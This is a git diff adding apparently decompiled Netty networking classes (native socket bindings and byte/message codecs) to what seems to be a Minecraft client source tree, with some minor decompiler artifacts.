+    return getReceiveBufferSize(fd);
+  }
+  
+  public int getSendBufferSize() throws IOException {
+    return getSendBufferSize(fd);
+  }
+  
+  public boolean isKeepAlive() throws IOException {
+    return isKeepAlive(fd) != 0;
+  }
+  
+  public boolean isTcpNoDelay() throws IOException {
+    return isTcpNoDelay(fd) != 0;
+  }
+  
+  public boolean isTcpCork() throws IOException {
+    return isTcpCork(fd) != 0;
+  }
+  
+  public int getSoLinger() throws IOException {
+    return getSoLinger(fd);
+  }
+  
+  public int getTcpDeferAccept() throws IOException {
+    return getTcpDeferAccept(fd);
+  }
+  
+  public boolean isTcpQuickAck() throws IOException {
+    return isTcpQuickAck(fd) != 0;
+  }
+  
+  public int getSoError() throws IOException {
+    return getSoError(fd);
+  }
+  
+  public void setKeepAlive(boolean keepAlive) throws IOException {
+    setKeepAlive(fd, keepAlive ? 1 : 0);
+  }
+  
+  public void setReceiveBufferSize(int receiveBufferSize) throws IOException {
+    setReceiveBufferSize(fd, receiveBufferSize);
+  }
+  
+  public void setSendBufferSize(int sendBufferSize) throws IOException {
+    setSendBufferSize(fd, sendBufferSize);
+  }
+  
+  public void setTcpNoDelay(boolean tcpNoDelay) throws IOException {
+    setTcpNoDelay(fd, tcpNoDelay ? 1 : 0);
+  }
+  
+  public void setTcpCork(boolean tcpCork) throws IOException {
+    setTcpCork(fd, tcpCork ? 1 : 0);
+  }
+  
+  public void setSoLinger(int soLinger) throws IOException {
+    setSoLinger(fd, soLinger);
+  }
+  
+  public void setTcpDeferAccept(int deferAccept) throws IOException {
+    setTcpDeferAccept(fd, deferAccept);
+  }
+  
+  public void setTcpQuickAck(boolean quickAck) throws IOException {
+    setTcpQuickAck(fd, quickAck ? 1 : 0);
+  }
+  
+  public String toString()
+  {
+    return "Socket{fd=" + fd + '}';
+  }
+  
+
+  public static Socket newSocketStream()
+  {
+    int res = newSocketStreamFd();
+    if (res < 0) {
+      throw new ChannelException(Errors.newIOException("newSocketStream", res));
+    }
+    return new Socket(res);
+  }
+  
+  public static Socket newSocketDgram() {
+    int res = newSocketDgramFd();
+    if (res < 0) {
+      throw new ChannelException(Errors.newIOException("newSocketDgram", res));
+    }
+    return new Socket(res);
+  }
+  
+  public static Socket newSocketDomain() {
+    int res = newSocketDomainFd();
+    if (res < 0) {
+      throw new ChannelException(Errors.newIOException("newSocketDomain", res));
+    }
+    return new Socket(res);
+  }
+  
+  private static native int shutdown(int paramInt, boolean paramBoolean1, boolean paramBoolean2);
+  
+  private static native int connect(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  private static native int connectDomainSocket(int paramInt, byte[] paramArrayOfByte);
+  
+  private static native int finishConnect(int paramInt);
+  
+  private static native int bind(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  private static native int bindDomainSocket(int paramInt, byte[] paramArrayOfByte);
+  
+  private static native int listen(int paramInt1, int paramInt2);
+  
+  private static native int accept(int paramInt, byte[] paramArrayOfByte);
+  
+  private static native byte[] remoteAddress(int paramInt);
+  
+  private static native byte[] localAddress(int paramInt);
+  
+  private static native int sendTo(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3, byte[] paramArrayOfByte, int paramInt4, int paramInt5);
+  
+  private static native int sendToAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3, byte[] paramArrayOfByte, int paramInt4, int paramInt5);
+  
+  private static native int sendToAddresses(int paramInt1, long paramLong, int paramInt2, byte[] paramArrayOfByte, int paramInt3, int paramInt4);
+  
+  private static native DatagramSocketAddress recvFrom(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  private static native DatagramSocketAddress recvFromAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3)
+    throws IOException;
+  
+  private static native int newSocketStreamFd();
+  
+  private static native int newSocketDgramFd();
+  
+  private static native int newSocketDomainFd();
+  
+  private static native int getReceiveBufferSize(int paramInt)
+    throws IOException;
+  
+  private static native int getSendBufferSize(int paramInt)
+    throws IOException;
+  
+  private static native int isKeepAlive(int paramInt)
+    throws IOException;
+  
+  private static native int isTcpNoDelay(int paramInt)
+    throws IOException;
+  
+  private static native int isTcpCork(int paramInt)
+    throws IOException;
+  
+  private static native int getSoLinger(int paramInt)
+    throws IOException;
+  
+  private static native int getSoError(int paramInt)
+    throws IOException;
+  
+  private static native int getTcpDeferAccept(int paramInt)
+    throws IOException;
+  
+  private static native int isTcpQuickAck(int paramInt)
+    throws IOException;
+  
+  private static native void setKeepAlive(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setReceiveBufferSize(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setSendBufferSize(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setTcpNoDelay(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setTcpCork(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setSoLinger(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setTcpDeferAccept(int paramInt1, int paramInt2)
+    throws IOException;
+  
+  private static native void setTcpQuickAck(int paramInt1, int paramInt2)
+    throws IOException;
+}
diff --git a/src/minecraft/io/netty/channel/unix/UnixChannel.java b/src/minecraft/io/netty/channel/unix/UnixChannel.java
new file mode 100644
index 0000000..140f695
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/UnixChannel.java
@@ -0,0 +1,9 @@
+package io.netty.channel.unix;
+
+import io.netty.channel.Channel;
+
+public abstract interface UnixChannel
+  extends Channel
+{
+  public abstract FileDescriptor fd();
+}
diff --git a/src/minecraft/io/netty/handler/codec/AsciiHeadersEncoder.java b/src/minecraft/io/netty/handler/codec/AsciiHeadersEncoder.java
new file mode 100644
index 0000000..083dc38
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/AsciiHeadersEncoder.java
@@ -0,0 +1,143 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.util.AsciiString;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class AsciiHeadersEncoder
+{
+  private final ByteBuf buf;
+  private final SeparatorType separatorType;
+  private final NewlineType newlineType;
+  
+  public static enum SeparatorType
+  {
+    COLON, 
+    
+
+
+    COLON_SPACE;
+    
+
+
+    private SeparatorType() {}
+  }
+  
+
+  public static enum NewlineType
+  {
+    LF, 
+    
+
+
+    CRLF;
+    
+
+    private NewlineType() {}
+  }
+  
+  public AsciiHeadersEncoder(ByteBuf buf)
+  {
+    this(buf, SeparatorType.COLON_SPACE, NewlineType.CRLF);
+  }
+  
+  public AsciiHeadersEncoder(ByteBuf buf, SeparatorType separatorType, NewlineType newlineType) {
+    if (buf == null) {
+      throw new NullPointerException("buf");
+    }
+    if (separatorType == null) {
+      throw new NullPointerException("separatorType");
+    }
+    if (newlineType == null) {
+      throw new NullPointerException("newlineType");
+    }
+    
+    this.buf = buf;
+    this.separatorType = separatorType;
+    this.newlineType = newlineType;
+  }
+  
+  public void encode(Map.Entry<CharSequence, CharSequence> entry) {
+    CharSequence name = (CharSequence)entry.getKey();
+    CharSequence value = (CharSequence)entry.getValue();
+    ByteBuf buf = this.buf;
+    int nameLen = name.length();
+    int valueLen = value.length();
+    int entryLen = nameLen + valueLen + 4;
+    int offset = buf.writerIndex();
+    buf.ensureWritable(entryLen);
+    writeAscii(buf, offset, name, nameLen);
+    offset += nameLen;
+    
+    switch (separatorType) {
+    case COLON: 
+      buf.setByte(offset++, 58);
+      break;
+    case COLON_SPACE: 
+      buf.setByte(offset++, 58);
+      buf.setByte(offset++, 32);
+      break;
+    default: 
+      throw new Error();
+    }
+    
+    writeAscii(buf, offset, value, valueLen);
+    offset += valueLen;
+    
+    switch (newlineType) {
+    case LF: 
+      buf.setByte(offset++, 10);
+      break;
+    case CRLF: 
+      buf.setByte(offset++, 13);
+      buf.setByte(offset++, 10);
+      break;
+    default: 
+      throw new Error();
+    }
+    
+    buf.writerIndex(offset);
+  }
+  
+  private static void writeAscii(ByteBuf buf, int offset, CharSequence value, int valueLen) {
+    if ((value instanceof AsciiString)) {
+      writeAsciiString(buf, offset, (AsciiString)value, valueLen);
+    } else {
+      writeCharSequence(buf, offset, value, valueLen);
+    }
+  }
+  
+  private static void writeAsciiString(ByteBuf buf, int offset, AsciiString value, int valueLen) {
+    ByteBufUtil.copy(value, 0, buf, offset, valueLen);
+  }
+  
+  private static void writeCharSequence(ByteBuf buf, int offset, CharSequence value, int valueLen) {
+    for (int i = 0; i < valueLen; i++) {
+      buf.setByte(offset++, c2b(value.charAt(i)));
+    }
+  }
+  
+  private static int c2b(char ch) {
+    return ch < 'Ā' ? (byte)ch : 63;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ByteToMessageCodec.java b/src/minecraft/io/netty/handler/codec/ByteToMessageCodec.java
new file mode 100644
index 0000000..9aac93b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ByteToMessageCodec.java
@@ -0,0 +1,148 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.TypeParameterMatcher;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ByteToMessageCodec<I>
+  extends ChannelDuplexHandler
+{
+  private final TypeParameterMatcher outboundMsgMatcher;
+  private final MessageToByteEncoder<I> encoder;
+  private final ByteToMessageDecoder decoder = new ByteToMessageDecoder()
+  {
+    public void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
+      ByteToMessageCodec.this.decode(ctx, in, out);
+    }
+    
+    protected void decodeLast(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+    {
+      ByteToMessageCodec.this.decodeLast(ctx, in, out);
+    }
+  };
+  
+
+
+  protected ByteToMessageCodec()
+  {
+    this(true);
+  }
+  
+
+
+  protected ByteToMessageCodec(Class<? extends I> outboundMessageType)
+  {
+    this(outboundMessageType, true);
+  }
+  
+
+
+
+
+
+
+  protected ByteToMessageCodec(boolean preferDirect)
+  {
+    outboundMsgMatcher = TypeParameterMatcher.find(this, ByteToMessageCodec.class, "I");
+    encoder = new Encoder(preferDirect);
+  }
+  
+
+
+
+
+
+
+
+  protected ByteToMessageCodec(Class<? extends I> outboundMessageType, boolean preferDirect)
+  {
+    checkForSharableAnnotation();
+    outboundMsgMatcher = TypeParameterMatcher.get(outboundMessageType);
+    encoder = new Encoder(preferDirect);
+  }
+  
+  private void checkForSharableAnnotation() {
+    if (isSharable()) {
+      throw new IllegalStateException("@Sharable annotation is not allowed");
+    }
+  }
+  
+
+
+
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return outboundMsgMatcher.match(msg);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    decoder.channelRead(ctx, msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    encoder.write(ctx, msg, promise);
+  }
+  
+
+
+  protected abstract void encode(ChannelHandlerContext paramChannelHandlerContext, I paramI, ByteBuf paramByteBuf)
+    throws Exception;
+  
+
+
+  protected abstract void decode(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf, List<Object> paramList)
+    throws Exception;
+  
+
+  protected void decodeLast(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    decode(ctx, in, out);
+  }
+  
+  private final class Encoder extends MessageToByteEncoder<I> {
+    Encoder(boolean preferDirect) {
+      super();
+    }
+    
+    public boolean acceptOutboundMessage(Object msg) throws Exception
+    {
+      return ByteToMessageCodec.this.acceptOutboundMessage(msg);
+    }
+    
+    protected void encode(ChannelHandlerContext ctx, I msg, ByteBuf out) throws Exception
+    {
+      ByteToMessageCodec.this.encode(ctx, msg, out);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/ByteToMessageDecoder.java b/src/minecraft/io/netty/handler/codec/ByteToMessageDecoder.java
new file mode 100644
index 0000000..904964b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/ByteToMessageDecoder.java
@@ -0,0 +1,306 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.util.internal.RecyclableArrayList;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ByteToMessageDecoder
+  extends ChannelInboundHandlerAdapter
+{
+  ByteBuf cumulation;
+  private boolean singleDecode;
+  private boolean decodeWasNull;
+  private boolean first;
+  
+  protected ByteToMessageDecoder()
+  {
+    if (isSharable()) {
+      throw new IllegalStateException("@Sharable annotation is not allowed");
+    }
+  }
+  
+
+
+
+
+
+  public void setSingleDecode(boolean singleDecode)
+  {
+    this.singleDecode = singleDecode;
+  }
+  
+
+
+
+
+
+  public boolean isSingleDecode()
+  {
+    return singleDecode;
+  }
+  
+
+
+
+
+
+  protected int actualReadableBytes()
+  {
+    return internalBuffer().readableBytes();
+  }
+  
+
+
+
+
+  protected ByteBuf internalBuffer()
+  {
+    if (cumulation != null) {
+      return cumulation;
+    }
+    return Unpooled.EMPTY_BUFFER;
+  }
+  
+  public final void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ByteBuf buf = internalBuffer();
+    int readable = buf.readableBytes();
+    if (buf.isReadable()) {
+      ByteBuf bytes = buf.readBytes(readable);
+      buf.release();
+      ctx.fireChannelRead(bytes);
+    } else {
+      buf.release();
+    }
+    cumulation = null;
+    ctx.fireChannelReadComplete();
+    handlerRemoved0(ctx);
+  }
+  
+
+  protected void handlerRemoved0(ChannelHandlerContext ctx)
+    throws Exception
+  {}
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    if ((msg instanceof ByteBuf)) {
+      RecyclableArrayList out = RecyclableArrayList.newInstance();
+      try {
+        ByteBuf data = (ByteBuf)msg;
+        first = (cumulation == null);
+        if (first) {
+          cumulation = data;
+        } else {
+          if ((cumulation.writerIndex() > cumulation.maxCapacity() - data.readableBytes()) || (cumulation.refCnt() > 1))
+          {
+
+
+
+
+
+
+
+            expandCumulation(ctx, data.readableBytes());
+          }
+          cumulation.writeBytes(data);
+          data.release();
+        }
+        callDecode(ctx, cumulation, out); } catch (DecoderException e) { int size;
+        int i;
+        throw e;
+      } catch (Throwable t) {
+        throw new DecoderException(t);
+      } finally {
+        if ((cumulation != null) && (!cumulation.isReadable())) {
+          cumulation.release();
+          cumulation = null;
+        }
+        int size = out.size();
+        decodeWasNull = (size == 0);
+        
+        for (int i = 0; i < size; i++) {
+          ctx.fireChannelRead(out.get(i));
+        }
+        out.recycle();
+      }
+    } else {
+      ctx.fireChannelRead(msg);
+    }
+  }
+  
+  private void expandCumulation(ChannelHandlerContext ctx, int readable) {
+    ByteBuf oldCumulation = cumulation;
+    cumulation = ctx.alloc().buffer(oldCumulation.readableBytes() + readable);
+    cumulation.writeBytes(oldCumulation);
+    oldCumulation.release();
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+  {
+    if ((cumulation != null) && (!first) && (cumulation.refCnt() == 1))
+    {
+
+
+
+
+
+
+      cumulation.discardSomeReadBytes();
+    }
+    if (decodeWasNull) {
+      decodeWasNull = false;
+      if (!ctx.channel().config().isAutoRead()) {
+        ctx.read();
+      }
+    }
+    ctx.fireChannelReadComplete();
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    RecyclableArrayList out = RecyclableArrayList.newInstance();
+    try {
+      if (cumulation != null) {
+        callDecode(ctx, cumulation, out);
+        decodeLast(ctx, cumulation, out);
+      } else {
+        decodeLast(ctx, Unpooled.EMPTY_BUFFER, out);
+      } } catch (DecoderException e) { int size;
+      int i;
+      throw e;
+    } catch (Exception e) {
+      throw new DecoderException(e);
+    } finally {
+      try {
+        if (cumulation != null) {
+          cumulation.release();
+          cumulation = null;
+        }
+        int size = out.size();
+        for (int i = 0; i < size; i++) {
+          ctx.fireChannelRead(out.get(i));
+        }
+        if (size > 0)
+        {
+          ctx.fireChannelReadComplete();
+        }
+        ctx.fireChannelInactive();
+      }
+      finally {
+        out.recycle();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  protected void callDecode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+  {
+    try
+    {
+      while (in.isReadable()) {
+        int outSize = out.size();
+        int oldInputLength = in.readableBytes();
+        decode(ctx, in, out);
+        
+
+
+
+
+        if (ctx.isRemoved()) {
+          break;
+        }
+        
+        if (outSize == out.size()) {
+          if (oldInputLength == in.readableBytes()) {
+            break;
+          }
+          
+        }
+        else
+        {
+          if (oldInputLength == in.readableBytes()) {
+            throw new DecoderException(StringUtil.simpleClassName(getClass()) + ".decode() did not read anything but decoded a message.");
+          }
+          
+
+
+          if (isSingleDecode())
+            break;
+        }
+      }
+    } catch (DecoderException e) {
+      throw e;
+    } catch (Throwable cause) {
+      throw new DecoderException(cause);
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected abstract void decode(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf, List<Object> paramList)
+    throws Exception;
+  
+
+
+
+
+
+
+
+  protected void decodeLast(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    decode(ctx, in, out);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/CharSequenceValueConverter.java b/src/minecraft/io/netty/handler/codec/CharSequenceValueConverter.java
new file mode 100644
index 0000000..6df075b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/CharSequenceValueConverter.java
@@ -0,0 +1,152 @@
+package io.netty.handler.codec;
+
+import io.netty.util.AsciiString;
+import io.netty.util.internal.PlatformDependent;
+import java.text.ParseException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharSequenceValueConverter
+  implements ValueConverter<CharSequence>
+{
+  public static final CharSequenceValueConverter INSTANCE = new CharSequenceValueConverter();
+  
+  public CharSequenceValueConverter() {}
+  
+  public CharSequence convertObject(Object value) { if ((value instanceof CharSequence)) {
+      return (CharSequence)value;
+    }
+    return value.toString();
+  }
+  
+  public CharSequence convertInt(int value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public CharSequence convertLong(long value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public CharSequence convertDouble(double value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public CharSequence convertChar(char value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public CharSequence convertBoolean(boolean value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public CharSequence convertFloat(float value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public boolean convertToBoolean(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseBoolean();
+    }
+    return Boolean.parseBoolean(value.toString());
+  }
+  
+  public CharSequence convertByte(byte value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public byte convertToByte(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).byteAt(0);
+    }
+    return Byte.parseByte(value.toString());
+  }
+  
+  public char convertToChar(CharSequence value)
+  {
+    return value.charAt(0);
+  }
+  
+  public CharSequence convertShort(short value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public short convertToShort(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseShort();
+    }
+    return Short.parseShort(value.toString());
+  }
+  
+  public int convertToInt(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseInt();
+    }
+    return Integer.parseInt(value.toString());
+  }
+  
+  public long convertToLong(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseLong();
+    }
+    return Long.parseLong(value.toString());
+  }
+  
+  public CharSequence convertTimeMillis(long value)
+  {
+    return String.valueOf(value);
+  }
+  
+  public long convertToTimeMillis(CharSequence value)
+  {
+    try {
+      return DefaultHeaders.HeaderDateFormat.get().parse(value.toString());
+    } catch (ParseException e) {
+      PlatformDependent.throwException(e); }
+    return 0L;
+  }
+  
+
+  public float convertToFloat(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseFloat();
+    }
+    return Float.parseFloat(value.toString());
+  }
+  
+  public double convertToDouble(CharSequence value)
+  {
+    if ((value instanceof AsciiString)) {
+      return ((AsciiString)value).parseDouble();
+    }
+    return Double.parseDouble(value.toString());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/CodecException.java b/src/minecraft/io/netty/handler/codec/CodecException.java
new file mode 100644
index 0000000..656d6a5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/CodecException.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+public class CodecException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -1464830400709348473L;
+  
+
+
+
+
+
+
+
+
+  public CodecException() {}
+  
+
+
+
+
+
+
+
+  public CodecException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public CodecException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public CodecException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/CodecOutputList.java b/src/minecraft/io/netty/handler/codec/CodecOutputList.java
new file mode 100644
index 0000000..17994eb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/CodecOutputList.java
@@ -0,0 +1,174 @@
+package io.netty.handler.codec;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.internal.ObjectUtil;
+import java.util.AbstractList;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CodecOutputList
+  extends AbstractList<Object>
+  implements RandomAccess
+{
+  private static final Recycler<CodecOutputList> RECYCLER = new Recycler()
+  {
+
+    protected CodecOutputList newObject(Recycler.Handle<CodecOutputList> handle) { return new CodecOutputList(handle, null); }
+  };
+  private final Recycler.Handle<CodecOutputList> handle;
+  private int size;
+  
+  static CodecOutputList newInstance() { return (CodecOutputList)RECYCLER.get(); }
+  
+
+
+
+
+  private Object[] array = new Object[16];
+  private boolean insertSinceRecycled;
+  
+  private CodecOutputList(Recycler.Handle<CodecOutputList> handle) {
+    this.handle = handle;
+  }
+  
+  public Object get(int index)
+  {
+    checkIndex(index);
+    return array[index];
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean add(Object element)
+  {
+    ObjectUtil.checkNotNull(element, "element");
+    try {
+      insert(size, element);
+    }
+    catch (IndexOutOfBoundsException ignore) {
+      expandArray();
+      insert(size, element);
+    }
+    size += 1;
+    return true;
+  }
+  
+  public Object set(int index, Object element)
+  {
+    ObjectUtil.checkNotNull(element, "element");
+    checkIndex(index);
+    
+    Object old = array[index];
+    insert(index, element);
+    return old;
+  }
+  
+  public void add(int index, Object element)
+  {
+    ObjectUtil.checkNotNull(element, "element");
+    checkIndex(index);
+    
+    if (size == array.length) {
+      expandArray();
+    }
+    
+    if (index != size - 1) {
+      System.arraycopy(array, index, array, index + 1, size - index);
+    }
+    
+    insert(index, element);
+    size += 1;
+  }
+  
+  public Object remove(int index)
+  {
+    checkIndex(index);
+    Object old = array[index];
+    
+    int len = size - index - 1;
+    if (len > 0) {
+      System.arraycopy(array, index + 1, array, index, len);
+    }
+    array[(--size)] = null;
+    
+    return old;
+  }
+  
+
+
+  public void clear()
+  {
+    size = 0;
+  }
+  
+
+
+  boolean insertSinceRecycled()
+  {
+    return insertSinceRecycled;
+  }
+  
+
+
+  void recycle()
+  {
+    for (int i = 0; i < size; i++) {
+      array[i] = null;
+    }
+    clear();
+    insertSinceRecycled = false;
+    handle.recycle(this);
+  }
+  
+
+
+  Object getUnsafe(int index)
+  {
+    return array[index];
+  }
+  
+  private void checkIndex(int index) {
+    if (index >= size) {
+      throw new IndexOutOfBoundsException();
+    }
+  }
+  
+  private void insert(int index, Object element) {
+    array[index] = element;
+    insertSinceRecycled = true;
+  }
+  
+  private void expandArray()
+  {
+    int newCapacity = array.length << 1;
+    
+    if (newCapacity < 0) {
+      throw new OutOfMemoryError();
+    }
+    
+    Object[] newArray = new Object[newCapacity];
+    System.arraycopy(array, 0, newArray, 0, array.length);
+    
+    array = newArray;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/CodecUtil.java b/src/minecraft/io/netty/handler/codec/CodecUtil.java
new file mode 100644
index 0000000..5fb9d63
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/CodecUtil.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec;
+
+import io.netty.channel.ChannelHandlerAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CodecUtil
+{
+  static void ensureNotSharable(ChannelHandlerAdapter handler)
+  {
+    if (handler.isSharable()) {
+      throw new IllegalStateException("@Sharable annotation is not allowed");
+    }
+  }
+  
+  private CodecUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/CorruptedFrameException.java b/src/minecraft/io/netty/handler/codec/CorruptedFrameException.java
new file mode 100644
index 0000000..5b62fbb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/CorruptedFrameException.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec;
+
+
+
+
+
+
+
+
+
+public class CorruptedFrameException
+  extends DecoderException
+{
+  private static final long serialVersionUID = 3918052232492988408L;
+  
+
+
+
+
+
+
+
+
+  public CorruptedFrameException() {}
+  
+
+
+
+
+
+
+
+
+  public CorruptedFrameException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public CorruptedFrameException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public CorruptedFrameException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DatagramPacketDecoder.java b/src/minecraft/io/netty/handler/codec/DatagramPacketDecoder.java
new file mode 100644
index 0000000..1ad694a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DatagramPacketDecoder.java
@@ -0,0 +1,111 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DatagramPacketDecoder
+  extends MessageToMessageDecoder<DatagramPacket>
+{
+  private final MessageToMessageDecoder<ByteBuf> decoder;
+  
+  public DatagramPacketDecoder(MessageToMessageDecoder<ByteBuf> decoder)
+  {
+    this.decoder = ((MessageToMessageDecoder)ObjectUtil.checkNotNull(decoder, "decoder"));
+  }
+  
+  public boolean acceptInboundMessage(Object msg) throws Exception
+  {
+    if ((msg instanceof DatagramPacket)) {
+      return decoder.acceptInboundMessage(((DatagramPacket)msg).content());
+    }
+    return false;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, DatagramPacket msg, List<Object> out) throws Exception
+  {
+    decoder.decode(ctx, msg.content(), out);
+  }
+  
+  public void channelRegistered(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelRegistered(ctx);
+  }
+  
+  public void channelUnregistered(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelUnregistered(ctx);
+  }
+  
+  public void channelActive(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelInactive(ctx);
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelReadComplete(ctx);
+  }
+  
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception
+  {
+    decoder.userEventTriggered(ctx, evt);
+  }
+  
+  public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.channelWritabilityChanged(ctx);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    decoder.exceptionCaught(ctx, cause);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.handlerAdded(ctx);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    decoder.handlerRemoved(ctx);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/DatagramPacketEncoder.java b/src/minecraft/io/netty/handler/codec/DatagramPacketEncoder.java
new file mode 100644
index 0000000..b318228
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/DatagramPacketEncoder.java
@@ -0,0 +1,143 @@
+package io.netty.handler.codec;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
